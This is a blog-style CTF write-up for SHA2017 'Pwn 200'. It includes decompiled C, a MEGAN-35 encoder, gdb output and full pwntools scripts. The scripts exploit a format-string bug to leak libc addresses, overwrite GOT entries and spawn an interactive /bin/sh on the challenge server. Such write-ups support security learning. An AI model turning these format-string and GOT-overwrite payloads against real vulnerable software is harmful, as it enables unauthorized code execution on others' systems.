SHA2017 - Write up Pwn 200
Welcome to my blog.
Today, I will write up for SHA2017 CTF.
In here, I write for Pwn 200
This source file: FILE
System is running Ubuntu 16.04, ASLR is disabled.
nc megan35.stillhackinganyway.nl 3535
We can leak in printf(&dest); by format string.
First, I had source encode megan-35.py :
Today, I will write up for SHA2017 CTF.
In here, I write for Pwn 200
This source file: FILE
System is running Ubuntu 16.04, ASLR is disabled.
nc megan35.stillhackinganyway.nl 3535
int __cdecl main(int a1)
{
const char *v1; // eax@1
int v2; // edx@1
char s; // [sp+0h] [bp-21Ch]@1
char dest; // [sp+100h] [bp-11Ch]@1
int v6; // [sp+200h] [bp-1Ch]@1
int *v7; // [sp+214h] [bp-8h]@1
v7 = &a1;
v6 = *MK_FP(__GS__, 20);
puts("Decrypt your text with the MEGAN-35 encryption.");
fflush(stdout);
fgets(&s, 0xFF, stdin);
v1 = sub_804866B(&s, strlen(&s));
strcpy(&dest, v1);
printf(&dest);
v2 = *MK_FP(__GS__, 20) ^ v6;
return 0;
}
In challenge input one megan-35 encode, program decode and print decoded text.We can leak in printf(&dest); by format string.
First, I had source encode megan-35.py :
import base64, sys
megan35 = "3GHIJKLMNOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5"
atom128 = "/128GhIoPQROSTeUbADfgHijKLM+n0pFWXY456xyzB7=39VaqrstJklmNuZvwcdEC"
zong22 = "ZKj9n+yf0wDVX1s/5YbdxSo=ILaUpPBCHg8uvNO4klm6iJGhQ7eFrWczAMEq3RTt2"
hazz15 = "HNO4klm6ij9n+J2hyf0gzA8uvwDEq3X1Q7ZKeFrWcVTts/MRGYbdxSo=ILaUpPBC5"
base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
class B64VariantEncoder:
def __init__(self, translation):
base = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
self.lookup = dict(zip(base, translation))
self.revlookup = dict(zip(translation, base))
def encode(self, text):
global lookup
b64 = base64.b64encode(text)
result = "".join([self.lookup[x] for x in b64])
return result
def decode(self, code):
global revlookup
b64 = "".join([self.revlookup[x] for x in code])
result = base64.b64decode(b64)
return result
variant = megan35
def encode(text):
encoder = B64VariantEncoder(variant)
return encoder.encode(text)
def decode(code):
try:
encoder = B64VariantEncoder(variant)
return encoder.decode(code)
except KeyError:
return "no valid encoding"
except TypeError:
return "no correct padding"
Because ASLR is disable then i had one idea.
I overwrite canary and stack_check_flase, overwrite system in printf_got to jump to main and input '/bin/sh' in megan-35 encode then system('/bin/sh').
Fist i need canary addr:
.text:080484E0 lea ecx, [esp+4]
.text:080484E4 and esp, 0FFFFFFF0h
.text:080484E7 push dword ptr [ecx-4]
.text:080484EA push ebp
.text:080484EB mov ebp, esp
.text:080484ED push edi
.text:080484EE push ebx
.text:080484EF push ecx
if we have $ecx we will know $esp then calculate $ebp and canary address.
break point in printf(&dest); we have:
Breakpoint 1, 0x08048558 in ?? () gdb-peda$ i r $esp esp 0xffffcdc0 0xffffcdc0 gdb-peda$ x/wx $ebp - 0xc 0xffffcfec: 0xffffd010
$ecx in 0xffffcfec :
we had (0xffffcfec-0xffffcdc0)/4 = 139 ==>> input "%139$x" encode megan-35 to get $ecx
[chungnv@Fedora25 Bai1]$ nc megan35.stillhackinganyway.nl 3535 Decrypt your text with the MEGAN-35 encryption. OdJtTc=y ffffddd0
we had $ecx = 0xffffddd0 ==> $ebp = (($ecx-4)&0xfffffff0)-8 ==> canary = $ebp - 0x1c ==> canary = 0xffffdd9c
Next, we want get the value of system address.
To do it i find value of printf address by payload: printf_got + '%p"*70 + "--" + "%s"
from pwn import * from megan35 import encode libc = ELF('libc.so.6') printf_got = 0x804A00C r = remote('megan35.stillhackinganyway.nl', 3535) r.recvuntil('encryption.\n') payload = p32(printf_got) + "%p"*70 + "--" + "%s" r.sendline(encode(payload)) addr = int(r.recv(1024).split('--')[-1][:4][::-1].encode('hex'),16) log.info("Printf addr: " + hex(addr)) system = addr - libc.symbols['printf'] + libc.symbols['system'] log.info("system: " + hex(system))
[chungnv@Fedora25 Bai1]$ python find.py [*] '/home/chungnv/Downloads/CTF-GAME/SHA2017/pwn/Bai1/libc.so.6' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to megan35.stillhackinganyway.nl on port 3535: Done [*] Printf addr: 0xf7e62020 [*] system: 0xf7e53940 [*] Closed connection to megan35.stillhackinganyway.nl port 3535
from value of printf address we can calculate value of system address by file libc.so.6 .
system = 0xf7e53940
I use this code below to exploitation program.
from pwn import * from megan35 import encode stack_false = 0x804A018 main = 0x80484E0 printf = 0x804A00C def proc_value(value): ar = [] k = value & 0xff if k <= 0x14: k += 0x100 ar.append(k) while True: value = value >> 8 x = value&0xff if x == 0: break while x <= ar[-1]: x = x+0x100 ar.append(x) return ar def write(addr, value, canary): buff = p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+p32(printf)+p32(printf+1)+p32(printf+2)+p32(printf+3) if canary != 0: buff += p32(canary) ar = proc_value(value) key = 71 for i in range(len(ar)): if i == 0: if canary != 0: buff += "%"+str(ar[i]-0x24)+"c%" + str(key) + "$hhn" else: buff += "%"+str(ar[i]-0x20)+"c%" + str(key) + "$hhn" else: buff += "%"+str(ar[i]-ar[i-1])+"c%" + str(key) + "$hhn" key += 1 buff += '%56c%75$hhn' buff += '%249c%76$hhn' buff += '%172c%77$hhn' buff += '%18c%78$hhn' if canary != 0: buff += "%79$hn" return buff def findaddr(addr): p.recvuntil('encryption.\n') p.sendline(encode(p32(addr) + "%p"*70 + "<-->" +"%s")) txt = p.recv(2048) leak = txt.split('<-->')[1][:4] leak = int(leak[::-1].encode('hex'), 16) return leak def leakaddr(addr, value, canary): p.recvuntil('encryption.\n') buff = encode(write(addr, value, canary)) p.sendline(buff) canary = 0xffffdd9c system = 0xf7e53940 p = remote('megan35.stillhackinganyway.nl', 3535) leakaddr(stack_false, main, canary) p.recvuntil('encryption.\n') p.sendline(encode('/bin/sh')) p.interactive()
The challenge is finish!!!!
Comments
Post a Comment